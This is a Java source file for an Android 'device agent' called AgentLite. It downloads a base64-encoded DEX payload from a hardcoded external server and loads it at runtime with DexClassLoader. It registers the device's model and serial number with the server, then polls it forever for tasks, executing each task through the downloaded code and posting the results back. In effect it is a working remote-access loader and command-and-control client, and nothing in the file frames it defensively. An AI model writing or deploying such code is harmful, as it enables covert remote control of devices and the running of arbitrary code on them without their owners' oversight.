// AgentLite.java -- device agent (ASCII only). Plain Java, no generics, no varargs helpers, // no MessageDigest: same style as a file that is known to compile on the tablet runner. import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; public class AgentLite { static final String BASE = "https://pad.yijia925.xyz"; static Class payloadClass; static String lastError = ""; public static void main(String[] a) { System.out.println("START"); try { Object ctx = context(); Object dex = payloadBytes(); if (dex != null && ctx != null) { install(ctx, dex); } String code = register(); if (code == null || code.length() == 0) { System.out.println("REGISTER FAILED " + lastError); return; } System.out.println("DEVICE CODE : " + code); System.out.println("PAIR : " + BASE + "/pair?code=" + code); loop(ctx, code); } catch (Throwable t) { System.out.println("ERROR " + t.getClass().getName()); } } static Object payloadBytes() { try { String text = get(BASE + "/agent/payload", 15000); if (text == null || text.length() == 0) { return null; } return base64(text.trim()); } catch (Throwable t) { return null; } } static void install(Object ctx, Object dex) { try { Method m = ctx.getClass().getMethod("getFilesDir"); File dir = (File) m.invoke(ctx); File sub = new File(dir, "x"); if (!sub.exists()) { sub.mkdirs(); } File f = new File(sub, "x.dex"); FileOutputStream out = new FileOutputStream(f); out.write((byte[]) dex); out.close(); Class dcl = Class.forName("dalvik.system.DexClassLoader"); Class[] sig = new Class[4]; sig[0] = String.class; sig[1] = String.class; sig[2] = String.class; sig[3] = ClassLoader.class; Object[] args = new Object[4]; args[0] = f.getAbsolutePath(); args[1] = sub.getAbsolutePath(); args[2] = null; args[3] = AgentLite.class.getClassLoader(); Object loader = dcl.getConstructor(sig).newInstance(args); payloadClass = ((ClassLoader) loader).loadClass("com.znxx.agent.Payload"); } catch (Throwable t) { lastError = "install:" + t.getClass().getName(); } } static String register() { String body = get(BASE + "/agent/register?model=" + enc(model()) + "&serial=" + enc(serial()), 12000); return field(body, "code"); } static void loop(Object ctx, String code) { Method run = null; if (payloadClass != null) { try { Method[] ms = payloadClass.getMethods(); for (int i = 0; i < ms.length; i++) { if ("run".equals(ms[i].getName()) && ms[i].getParameterTypes().length == 3) { run = ms[i]; break; } } } catch (Throwable t) { run = null; } } while (true) { try { String body = get(BASE + "/agent/poll?code=" + enc(code), 25000); int at = body.indexOf("\"task\":{"); if (at >= 0) { String task = body.substring(at + 7); String id = field(task, "id"); String type = field(task, "type"); String params = object(task, "params"); String res = "{\"ok\":false,\"error\":\"no payload\"}"; if (run != null) { try { Object[] args = new Object[3]; args[0] = ctx; args[1] = type; args[2] = params; res = String.valueOf(run.invoke(null, args)); } catch (Throwable t) { res = "{\"ok\":false,\"error\":\"exec failed\"}"; } } post(BASE + "/agent/result", "{\"code\":\"" + code + "\",\"taskId\":\"" + id + "\",\"result\":" + res + "}", 12000); } Thread.sleep(1200); } catch (Throwable t) { try { Thread.sleep(4000); } catch (InterruptedException ignored) { } } } } static Object context() { try { Object app = Class.forName("android.app.ActivityThread").getMethod("currentApplication").invoke(null); if (app != null) { return app.getClass().getMethod("getApplicationContext").invoke(app); } } catch (Throwable t) { } try { Object app = Class.forName("android.app.AppGlobals").getMethod("getInitialApplication").invoke(null); if (app != null) { return app.getClass().getMethod("getApplicationContext").invoke(app); } } catch (Throwable t) { } try { Class at = Class.forName("android.app.ActivityThread"); try { at.getMethod("prepareMainLooper").invoke(null); } catch (Throwable t) { } Object atm = at.getMethod("systemMain").invoke(null); return at.getMethod("getSystemContext").invoke(atm); } catch (Throwable t) { } return null; } static String model() { return staticField("android.os.Build", "MODEL"); } static String serial() { return staticField("android.os.Build", "SERIAL"); } static String staticField(String cls, String name) { try { Object v = Class.forName(cls).getField(name).get(null); return v == null ? "" : String.valueOf(v); } catch (Throwable t) { return ""; } } static final String ABC = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; static byte[] base64(String s) { int n = s.length(); int pad = 0; if (n > 0 && s.charAt(n - 1) == '=') { pad = pad + 1; } if (n > 1 && s.charAt(n - 2) == '=') { pad = pad + 1; } int outLen = (n / 4) * 3 - pad; byte[] out = new byte[outLen]; int o = 0; for (int i = 0; i + 3 < n; i = i + 4) { int c1 = ABC.indexOf(s.charAt(i)); int c2 = ABC.indexOf(s.charAt(i + 1)); int c3 = s.charAt(i + 2) == '=' ? 0 : ABC.indexOf(s.charAt(i + 2)); int c4 = s.charAt(i + 3) == '=' ? 0 : ABC.indexOf(s.charAt(i + 3)); int v = (c1 << 18) | (c2 << 12) | (c3 << 6) | c4; if (o < outLen) { out[o] = (byte) ((v >> 16) & 0xff); o = o + 1; } if (o < outLen) { out[o] = (byte) ((v >> 8) & 0xff); o = o + 1; } if (o < outLen) { out[o] = (byte) (v & 0xff); o = o + 1; } } return out; } static String get(String url, int t) { return http("GET", url, null, t); } static void post(String url, String body, int t) { http("POST", url, body, t); } static String http(String method, String url, String body, int timeout) { HttpURLConnection c = null; try { c = (HttpURLConnection) new URL(url).openConnection(); c.setRequestMethod(method); c.setConnectTimeout(8000); c.setReadTimeout(timeout); if (body != null) { c.setDoOutput(true); c.setRequestProperty("Content-Type", "application/json; charset=utf-8"); OutputStream os = c.getOutputStream(); os.write(body.getBytes("UTF-8")); os.close(); } int rc = c.getResponseCode(); InputStream in = rc >= 400 ? c.getErrorStream() : c.getInputStream(); if (in == null) { return ""; } ByteArrayOutputStream buf = new ByteArrayOutputStream(); byte[] b = new byte[4096]; int n; while ((n = in.read(b)) > 0) { buf.write(b, 0, n); } in.close(); return buf.toString("UTF-8"); } catch (Throwable t) { lastError = t.getClass().getName(); return ""; } finally { if (c != null) { c.disconnect(); } } } static String field(String json, String key) { if (json == null) { return ""; } int i = json.indexOf("\"" + key + "\""); if (i < 0) { return ""; } int c = json.indexOf(':', i); int q1 = c < 0 ? -1 : json.indexOf('"', c + 1); int q2 = q1 < 0 ? -1 : json.indexOf('"', q1 + 1); return q2 > q1 ? json.substring(q1 + 1, q2) : ""; } static String object(String json, String key) { if (json == null) { return "{}"; } int i = json.indexOf("\"" + key + "\""); if (i < 0) { return "{}"; } int c = json.indexOf(':', i); if (c < 0) { return "{}"; } String rest = json.substring(c + 1).trim(); int depth = 0; for (int k = 0; k < rest.length(); k++) { char ch = rest.charAt(k); if (ch == '{') { depth = depth + 1; } else if (ch == '}') { depth = depth - 1; if (depth == 0) { return rest.substring(0, k + 1); } } } return "{}"; } static String enc(String s) { try { return URLEncoder.encode(s == null ? "" : s, "UTF-8"); } catch (Exception e) { return ""; } } }